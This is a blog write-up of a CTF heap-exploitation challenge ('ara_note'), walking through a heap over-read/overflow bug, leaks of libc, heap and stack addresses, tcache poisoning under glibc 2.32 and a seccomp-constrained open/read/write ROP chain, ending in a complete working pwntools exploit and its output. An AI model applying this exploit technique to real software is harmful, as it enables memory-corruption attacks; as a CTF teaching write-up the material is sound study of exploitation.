DEV Community

Cover image for ARA CTF Final Round Binary Exploitation Write Up
Christopher Yu
Christopher Yu

Posted on

ARA CTF Final Round Binary Exploitation Write Up

This is a challenge from the ARA CTF from ITS Indonesia. Really a great challenge of the final round, this is a heap challenge. Also i just started on learning heap.

So first of all i check the specification of the binary, and it seems like it has a full protection.

1:29:00 › file ara_note; checksec ara_note 
ara_note: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib/x86_64-linux-gnu/ld-2.31.so, for GNU/Linux 3.2.0, BuildID[sha1]=609ec68f69eab349c549b991127634778b2cb57d, not stripped
[*] '/home/chao/Documents/WriteUps/ara/pwn/ara_note/ara_note'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Enter fullscreen mode Exit fullscreen mode

Before we jump into the psudocode. First of all, this binary has a bunch of seccomp rules. Now we check it with the seccomp-tools. Here's the rules.

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x0000000a  if (A != mprotect) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x15 0x00 0x01 0x0000000f  if (A != rt_sigreturn) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0018
 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0018: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x06 0x00 0x00 0x00000000  return KILL
Enter fullscreen mode Exit fullscreen mode

So, we can only call those syscalls(open, read, write, mprotect, sigreturn, brk, exit, and exit group).

Now let's jump into the pseudocode right away, i opened the binary in IDA PRO and i found an obvious vulnerability in this code

ssize_t view()
{
  unsigned int v1; // [rsp+8h] [rbp-8h]
  unsigned int n; // [rsp+Ch] [rbp-4h]

  printf("Enter chunk index: ");
  v1 = readnum();
  if ( v1 > 0xE || !chunks[v1] )
  {
    puts("Not Allowed");
    exit(4919);
  }
  printf("Enter the size to view: ");
  n = readnum();
  if ( (char)n > 'x' )
  {
    puts("Not Allowed");
    exit(4919);
  }
  return write(1, (const void *)chunks[v1], n);
}
Enter fullscreen mode Exit fullscreen mode

This code let us to view a chunk even larger than the chunk's size, so with this bug we can leak some addresses such as libc addresses or heap addresses.

Here's the code where we can allocate a chunk

_QWORD *allocate()
{
  void *v0; // rcx
  _QWORD *result; // rax
  unsigned int v2; // [rsp+8h] [rbp-8h]
  unsigned int size; // [rsp+Ch] [rbp-4h]

  printf("Enter chunk index: ");
  v2 = readnum();
  if ( v2 > 0xE || chunks[v2] )
  {
    puts("Not Allowed");
    exit(4919);
  }
  printf("Enter the size of the chunk: ");
  size = readnum();
  if ( (char)size > 120 )
  {
    puts("Not Allowed");
    exit(4919);
  }
  v0 = malloc(size);
  result = chunks;
  chunks[v2] = v0;
  return result;
}
Enter fullscreen mode Exit fullscreen mode

So the chunk size is not limited, we can even allocate a tremendous size of chunk.

And this is the code where we can edit chunks.

unsigned __int8 *edit()
{
  unsigned int v1; // [rsp+8h] [rbp-8h]
  unsigned int v2; // [rsp+Ch] [rbp-4h]

  printf("Enter chunk index: ");
  v1 = readnum();
  if ( v1 > 0xE || !chunks[v1] )
  {
    puts("Not Allowed");
    exit(4919);
  }
  printf("Enter the size to edit: ");
  v2 = readnum();
  if ( (char)v2 > 120 )
  {
    puts("Not Allowed");
    exit(4919);
  }
  printf("Enter Data : ");
  return my_read((unsigned __int8 *)chunks[v1], v2);
}
Enter fullscreen mode Exit fullscreen mode

Again, same bug. Here we can overflow the heap and poison some chunks.
And btw, this binary is using libc 2.32 which means we can do a tcache poisoning using the edit function.

Now we're done analyzing the pseudocode, im only found those bugs. In the delete function, i didn't find a bug. There is no use after free because the binary already nulled the freed chunk.

Now we have to craft the idea, here's what i got:

  1. We can exploit the view function to leak a libc and heap by using the bug where we can view a chunk larger than it own size. How we leak the libc? So in libc 2.32 heap, there are 5 bins. Fastbin, Smallbin, Largebin, Unsorted bin, and T-Cache bin. If we free a chunk with the size larger than 0xb0 after we fulled the 0xc0 sized tcache(7 bins is max), it will be freed into the unsorted bin. BUT if we freed a chunk larger than 0x408 even if we didn't fulled the tcache bin, it will immidiately be freed into the unsorted bin(Because 0x408 is the max size of tcache). In the unsorted bin, there are 2 pointers pointing into the libc main arena. We called them fd pointer and bk pointer, and that is what we looking for.
  2. Since we can't overwrite the __free_hook to system because of the seccomp rules. We need to do a ORW ROP to get the flag, but how do we ROP? Well thanks to the heap overflow bug, we can poison the tcache and change the next pointer into the stack address. But how we find the stack address? Now we have to thank the libc, because there is an environ variable from libc that stores a stack address which means we can leak the stack address from that by poisoning the tcache :D.

OK, now lets simplify the idea:

  1. Leak libc and heap
  2. Leak stack address
  3. Immidiate ORW ROP from the return address

Now we craft the exploit, first let's make some functions(to make our code shorter).

from pwn import *

libc = ELF("./libc-2.32.so")
p = process("./ara_note", env={"LD_PRELOAD": libc.path})
# p = remote("45.32.116.131", 1024)

def alloc(idx, size):
  p.sendlineafter("> ", "1")
  p.sendlineafter("index: ", str(idx))
  p.sendlineafter("chunk: ", str(size))

def free(idx):
  p.sendlineafter("> ", "2")
  p.sendlineafter("index: ", str(idx))

def view(idx, size):
  p.sendlineafter("> ", "3")
  p.sendlineafter("index: ", str(idx))
  p.sendlineafter("view: ", str(size))

def edit(idx, size, data):
  p.sendlineafter("> ", "4")
  p.sendlineafter("index: ", str(idx))
  p.sendlineafter("edit: ", str(size))
  p.sendlineafter("Data : ", data)
Enter fullscreen mode Exit fullscreen mode

DONE. Now let's start from the first step, leak libc and heap. Here's the code

alloc(0, 0x80)
alloc(1, 0x508)
alloc(2, 0x410)

free(1)
view(0, 0x90 + 0x8)
libc_leak = u64(p.recvline()[144:-42].ljust(8, '\x00'))
Enter fullscreen mode Exit fullscreen mode

OK like i said, if we freed a chunk larger than 0x408. It will be immidiately freed into the unsorted bin that will store libc addresses.
Also i allocated another 0x410 bytes too so that the freed chunk in index 1 doesn't consolidate with the top chunk and still be freed into the unsorted bin.
And by using the view bug, i viewed more than the chunk's size to leak the libc address.

for i in range(4,11): alloc(i, 0x100)
alloc(13, 0x20)
for i in range(10, 3, -1): free(i)

view(0, 0xa8)
heap_leak = u64(p.recvline()[160:-44].ljust(8, '\x00'))
log.info("Heap leak: {}".format(hex(heap_leak)))
heap_base = heap_leak - 0x320
log.info("Heap base: {}".format(hex(heap_base)))
Enter fullscreen mode Exit fullscreen mode

Here i freed 7 chunks to the tcache bin and leaks a heap address using the view bug.

alloc(4, 0x100)
edit(4, 0x118, 'A' * 0x100 + p64(0) + p64(0x111) + p64(poison))
alloc(5, 0x100)
alloc(6, 0x100)
view(6, 0x8)

stack_leak = u64(p.recvline()[:-42].ljust(8, '\x00'))
log.info("Stack leak: {}".format(hex(stack_leak)))
ret_addr = stack_leak - 0x140
log.info("Ret address: {}".format(hex(ret_addr)))
log.info("Overwrite in: {}".format(hex(ret_addr - 0x48)))
Enter fullscreen mode Exit fullscreen mode

From here, i poisoned the tcache so the next chunk will point to libc environ variable where the stack address is stored. And of course, the stack address is now leaked.

edit(0, 0xa8, 'B' * 0x80 + p64(0) + p64(0x111) + p64(ret_poison) + p64(0))
alloc(4, 0x100)
edit(4, 0x10, './flag.txt\x00')

alloc(5, 0x100)

flag_loc = heap_base + 0x330
log.info("Flag loc: {}".format(hex(flag_loc)))
Enter fullscreen mode Exit fullscreen mode

After we got the stack address, now we can calculate the return address and again poisoning the tcache so the next chunk will point to the return address and at the same time, i also write ./flag.txt\x00 into a chunk to make our rop easier and that's 1 reason why we need to leak the heap base.

payload = ''
payload += p64(pop_rdi)
payload += p64(flag_loc)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx_rbx)
payload += p64(0) * 2
payload += p64(pop_rcx)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(2)
payload += p64(syscall)

payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(flag_loc)
payload += p64(pop_rdx_rbx)
payload += p64(0x100) * 2
payload += p64(libc_read)

payload += p64(pop_rdi)
payload += p64(flag_loc)
payload += p64(libc_puts)


# gdb.attach(p, 'pie b *0x000000000000137a')

edit(5, 0x100, 'C' * 0x8 + payload)
Enter fullscreen mode Exit fullscreen mode

Now we ROP and ez flag.
So the ROP has 3 sections.

  1. Opened the ./flag.txt
  2. Read the content of ./flag.txt
  3. Write the content of flag.txt

Why i dont use the open function from libc? Well i used it, but instead of open syscall, it called openat syscall which is illegal instruction because of the seccomp rules.
That's why i manually open a file and then read and write using the libc functions.

Let's run the exploit

2:29:02 › python exploit2.py            
[*] '/home/chao/Documents/WriteUps/ara/pwn/ara_note/libc-2.32.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './ara_note': pid 39744
[*] Libc leak: 0x7fd6a1d9ac00
[*] Libc base: 0x7fd6a1bb7000
[*] Libc puts: 0x7fd6a1c37d90
[*] Libc environ: 0x7fd6a1d9e600
[*] Libc read: 0x7fd6a1cbfca0
[*] Pop rdi: 0x7fd6a1bdf58f
[*] Pop rsi: 0x7fd6a1be1c3f
[*] Pop rdx rbx: 0x7fd6a1d107d6
[*] Pop rax: 0x7fd6a1bfc580
[*] Syscall: 0x7fd6a1bfd490
[*] Pop rcx: 0x7fd6a1ce8a8a
[*] Heap leak: 0x555a18dc8320
[*] Heap base: 0x555a18dc8000
[*] Stack leak: 0x7ffc896698b8
[*] Ret address: 0x7ffc89669778
[*] Overwrite in: 0x7ffc89669730
[*] Flag loc: 0x555a18dc8330
[*] Switching to interactive mode
ara2021{heap_plus_seccomp_easy_peasy_dt342}
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[*] Got EOF while reading in interactive
$
Enter fullscreen mode Exit fullscreen mode

And we got the flag.
Oh btw, in libc 2.32 there's some shifting and xoring to protect the freed tcache chunk fd and bk, so that's another reason to leak the heap base so we can mask the address.
Reference: https://pwn-maher.blogspot.com/2020/11/pwn10-heap-exploitation-for-glibc-232.html

Full exploit:

from pwn import *

libc = ELF("./libc-2.32.so")
p = process("./ara_note", env={"LD_PRELOAD": libc.path})
# p = remote("45.32.116.131", 1024)

def alloc(idx, size):
  p.sendlineafter("> ", "1")
  p.sendlineafter("index: ", str(idx))
  p.sendlineafter("chunk: ", str(size))

def free(idx):
  p.sendlineafter("> ", "2")
  p.sendlineafter("index: ", str(idx))

def view(idx, size):
  p.sendlineafter("> ", "3")
  p.sendlineafter("index: ", str(idx))
  p.sendlineafter("view: ", str(size))

def edit(idx, size, data):
  p.sendlineafter("> ", "4")
  p.sendlineafter("index: ", str(idx))
  p.sendlineafter("edit: ", str(size))
  p.sendlineafter("Data : ", data)

def mask(heap_base, target):
  return target ^ (heap_base >> 0xc)

alloc(0, 0x80)
alloc(1, 0x508)
alloc(2, 0x410)

free(1)
view(0, 0x90 + 0x8)
libc_leak = u64(p.recvline()[144:-42].ljust(8, '\x00'))
log.info("Libc leak: {}".format(hex(libc_leak)))
libc_base = libc_leak - 0x1e3c00
log.info("Libc base: {}".format(hex(libc_base)))
libc_puts = libc_base + 0x0000000000080d90
log.info("Libc puts: {}".format(hex(libc_puts)))
libc_environ = libc_base + 0x00000000001e7600
log.info("Libc environ: {}".format(hex(libc_environ)))
libc_read = libc_base + 0x0000000000108ca0
log.info("Libc read: {}".format(hex(libc_read)))
pop_rdi = libc_base + 0x000000000002858f
log.info("Pop rdi: {}".format(hex(pop_rdi)))
pop_rsi = libc_base + 0x000000000002ac3f
log.info("Pop rsi: {}".format(hex(pop_rsi)))
pop_rdx_rbx = libc_base + 0x00000000001597d6
log.info("Pop rdx rbx: {}".format(hex(pop_rdx_rbx)))
pop_rax = libc_base + 0x0000000000045580
log.info("Pop rax: {}".format(hex(pop_rax)))
syscall = libc_base + 0x0000000000046490
log.info("Syscall: {}".format(hex(syscall)))
pop_rcx = libc_base + 0x0000000000131a8a
log.info("Pop rcx: {}".format(hex(pop_rcx)))

for i in range(4,11): alloc(i, 0x100)
alloc(13, 0x20)
for i in range(10, 3, -1): free(i)

view(0, 0xa8)
heap_leak = u64(p.recvline()[160:-44].ljust(8, '\x00'))
log.info("Heap leak: {}".format(hex(heap_leak)))
heap_base = heap_leak - 0x320
log.info("Heap base: {}".format(hex(heap_base)))

poison = mask(heap_base, libc_environ)

alloc(4, 0x100)
edit(4, 0x118, 'A' * 0x100 + p64(0) + p64(0x111) + p64(poison))
alloc(5, 0x100)
alloc(6, 0x100)
view(6, 0x8)

stack_leak = u64(p.recvline()[:-42].ljust(8, '\x00'))
log.info("Stack leak: {}".format(hex(stack_leak)))
ret_addr = stack_leak - 0x140
log.info("Ret address: {}".format(hex(ret_addr)))
log.info("Overwrite in: {}".format(hex(ret_addr - 0x48)))

free(5)
free(4)

ret_poison = mask(heap_base, ret_addr - 0x48)

edit(0, 0xa8, 'B' * 0x80 + p64(0) + p64(0x111) + p64(ret_poison) + p64(0))
alloc(4, 0x100)
edit(4, 0x10, './flag.txt\x00')

alloc(5, 0x100)

flag_loc = heap_base + 0x330
log.info("Flag loc: {}".format(hex(flag_loc)))


payload = ''
payload += p64(pop_rdi)
payload += p64(flag_loc)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx_rbx)
payload += p64(0) * 2
payload += p64(pop_rcx)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(2)
payload += p64(syscall)

payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(flag_loc)
payload += p64(pop_rdx_rbx)
payload += p64(0x100) * 2
payload += p64(libc_read)

payload += p64(pop_rdi)
payload += p64(flag_loc)
payload += p64(libc_puts)


# gdb.attach(p, 'pie b *0x000000000000137a')

edit(5, 0x100, 'C' * 0x8 + payload)


p.interactive()
Enter fullscreen mode Exit fullscreen mode

Top comments (0)